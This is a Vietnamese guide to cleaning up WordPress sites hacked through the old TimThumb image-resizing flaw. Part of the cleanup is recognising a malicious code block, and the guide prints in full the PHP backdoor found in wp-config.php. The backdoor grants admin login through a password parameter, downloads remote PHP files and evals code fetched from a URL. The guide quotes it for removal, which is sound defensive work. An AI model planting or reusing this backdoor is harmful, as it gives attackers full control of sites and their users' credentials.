Hướng dẫn cách sửa và dọn dẹp hack TimThumb trong WordPress

Nếu như bạn nhớ chính xác thì có một lỗi bảo mật trong script của TimThumb vào tháng 8 đã được sửa. Đáng ngạc nhiên rằng vẫn còn nhiều website đang sử dụng phiên bản cũ. Chúng tôi đã hỗ trợ 3 trang web sửa lỗi này trong tháng vừa qua, thậm chí một trang vừa được sửa ngay hôm qua. Do đó, đây là thời điểm hợp lý để viết một bài hướng dẫn để người dùng có thể tham khảo. Cả 3 người dùng gặp phải vấn đề này thậm chí còn không biết TimThumb là gì hay họ có sử dụng nó hay không.

TimThumb là gì?

TimThumb là một script PHP với tác dụng thay đổi kích cỡ hình ảnh.

Vậy thì làm cách nào để biết được trang web của bạn đã bị hack? Nếu như bạn thấy một màn hình đỏ trên trình duyệt của bạn khi bạn truy cập trang web của mình:

Nếu như bạn đã bị khủng bố với một loạt email về việc người dùng bị điều hướng ra khỏi trang của bạn. Thì có vẻ như trang web của bạn đã trở thành một nạn nhân.

Để đảm bảo hơn, mọi người nên sử dụng Timthumb Vulnerability Scanner. Nó sẽ thông báo nếu như bạn đang sử dụng phiên bản cũ của TimThumb. Rất nhiều các club theme nâng cấp cốt lõi của họ ngay lập tức. Vậy nên plugin này sẽ kiểm tra phiên bản mới và an toàn của TimThumb có được cài đặt hay chưa.

Giờ thì nếu như trang web của bạn đã là con mồi của lỗ hổng TimThumb này, đây là điều mà bạn cần phải làm.

Hướng dẫn thao tác cách sửa và dọn dẹp hack TimThumb trong WordPress

Đầu tiên bạn phải xóa những file sau:

1
2
/wp-admin/upd.php
/wp-content/upd.php

Đăng nhập vào bảng quản lý WordPress và cài đặt lại phiên bản WordPress. Chúng ta chú ý cài đặt lại những file này:

1
2
3
/wp-settings.php
/wp-includes/js/jquery/jquery.js
/wp-includes/js/110n.js

Sau đó mở file wp-config.php nơi mà bạn sẽ tìm thấy malware to đùng đang thu thập thông tin đăng nhập và cookies. Đoạn code này nằm sẽ ở phía dưới

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
if (isset($_GET['pingnow'])&& isset($_GET['pass'])){
if ($_GET['pass'] == '19ca14e7ea6328a42e0eb13d585e4c22'){
if ($_GET['pingnow']== 'login'){
$user_login = 'admin';
$user = get_userdatabylogin($user_login);
$user_id = $user->ID;
wp_set_current_user($user_id, $user_login);
wp_set_auth_cookie($user_id);
do_action('wp_login', $user_login);
}
if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
$fnm = md5(rand(0,100)).'.php';
$fp = fopen($fnm, "w");
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_exec($ch);
curl_close($ch);
fclose($fp);
echo "<SCRIPT LANGUAGE=\"JavaScript\">location.href='$fnm';</SCRIPT>";
}
if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$re = curl_exec($ch);
curl_close($ch);
eval($re);
}}}

Trong folder theme, tìm mọi nơi mà những TimThumb có thể sẽ lưu trữ file cache. Thông thường thì chúng có cấu trúc như sau:

1
2
/wp-content/themes/themename/scripts/cache/external_{MD5Hash}.php
/wp-content/themes/themename/temp/cache/external_{MD5Hash}.php

Xóa tất cả mọi thứ trông giống như vậy, nếu như bạn cảm thấy không chắc chắn, hãy xóa toàn bộ những file không phải là hình ảnh.

Điều tiếp theo bạn cần làm là thay thế timthumb.php với phiên bản mới nhất tại: http://timthumb.googlecode.com/svn/trunk/timthumb.php

Bạn sẽ muốn thay mật khẩu của mình bắt đầu từ MySQL đến tài khoản WordPress. Đừng quên đổi mật khẩu MySQL ở wp-config.php nếu không bạn sẽ gặp lỗi “Error Establishing Connection”

Đổi mã bí mật trong file wp-config.php. Bạn có thể tạo ra một mã mới qua online generator.

Vậy là mọi thứ đã xong. Đừng quên loại bỏ hoàn toàn các plugin caching. Và để đảm bảo hơn, bạn nên xóa cả cache và cookies của trình duyệt.

Đối với developer, hãy thử sử dụng chức năng Additional Image Sizes trong WordPress để thay thế cho TimThumb.

Hãy liên hệ với chúng tôi nếu bạn cần thêm trợ giúp nhé!